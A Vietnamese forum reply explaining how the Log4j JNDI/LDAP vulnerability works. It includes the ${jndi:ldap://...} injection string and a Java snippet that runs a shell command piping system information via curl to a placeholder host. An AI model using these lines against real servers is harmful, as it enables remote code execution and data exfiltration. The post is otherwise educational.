Hi @Vu_Nguyen5
Để tớ trả lời lần lượt các câu hỏi của cậu nha
Chào anh, theo kinh nghiệm của anh thì lỗ hổng log4j có thể khiến kẻ xấu đánh cắp thông tin cũng như tiền bạc từ những người sử dụng dịch vụ của những nhà cung cấp liên quan hay không
Để biết được lỗ hổng này có thể gây hại gì, cậu cần hiểu chút về nó
Về cơ bản, lỗi này là lỗi rất nghiêm trọng. Nếu như cậu đã đọc bug report, cậu có thể thấy lỗi này do log4j có sử dụng JNDILookup plugin (được add vào từ năm 2013).
Về cơ bản, log4j sẽ phân giải placeholder có cú pháp ${jndi:<string>}
và thực hiện hành động liên quan. Vậy nên, nếu một hệ thống nào dùng log4j, và log ra các thông tin từ request, chỉ cần gửi request có cú pháp như trên là cậu có thể trigger JNDI lookup rồi.
Mọi chuyện nghiêm trọng hơn, khi cậu có thể sử dụng JNDI với LDAP. Về cơ bản, combo này cho phép cậu deserial một object/đoạn code Java từ remote LDAP server trên máy có sử dụng log4j.
Tức là, nếu cậu dựng được một LDAP server của riêng cậu, rồi gửi một request tới 1 server sử dụng log4j có cấu trúc như thế này:
${jndi:ldap://<host>:<port>/<path>}
Nếu server kia có dùng log4j để in ra thông tin:
// userInput chứa xâu jndi ở trên
log.info("Kaboom! {}", userInput);
Xâu JNDI sẽ được phân giải, một request sẽ được gọi tới LDAP server được chuẩn bị sẵn của cậu, để download object mà cậu chuẩn bị.
Nếu cậu chuẩn bị đoạn code thế này ở LDAP server:
String payload = "uname -a | curl -d @- http://<host>";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
Cậu sẽ thực thi được một đoạn script cậu đã chuẩn bị sẵn ở http://<host>
, như bất cứ tay mơ nào có thể thực hiện
Về cơ bản, cậu có thể làm rất nhiều thứ với việc inject code java của riêng cậu trên server có log4j, vậy nên, có khả năng cao cậu sẽ học được rất nhiều thông tin quý giá về thiết kế trong của hệ thống, và từ đó, cậu có thể lấy được rất nhiều thứ.
2 điều cậu liệt kê là một trong số đó
Theo như em đọc tin tức thì có thể người dùng IOS sẽ bị ảnh hưởng nhiều hơn người dùng android, nhận định này liệu có đúng không anh?
Tớ không rõ bên Android họ thiết kế ra sao, nhưng tớ có từng thấy 1 người post lên twitter việc anh ấy đã tấn công được iOS server quản lý profile các thiết bị, bằng việc thay đổi tên của điện thoại
Cơ mà, như @nguyenhuuca đã đề cập ở trên, lỗi này sẽ được patch rất nhanh, nên tớ không nghĩ iOS user có bất cứ vấn đề gì đâu
Hope it helps!
See also: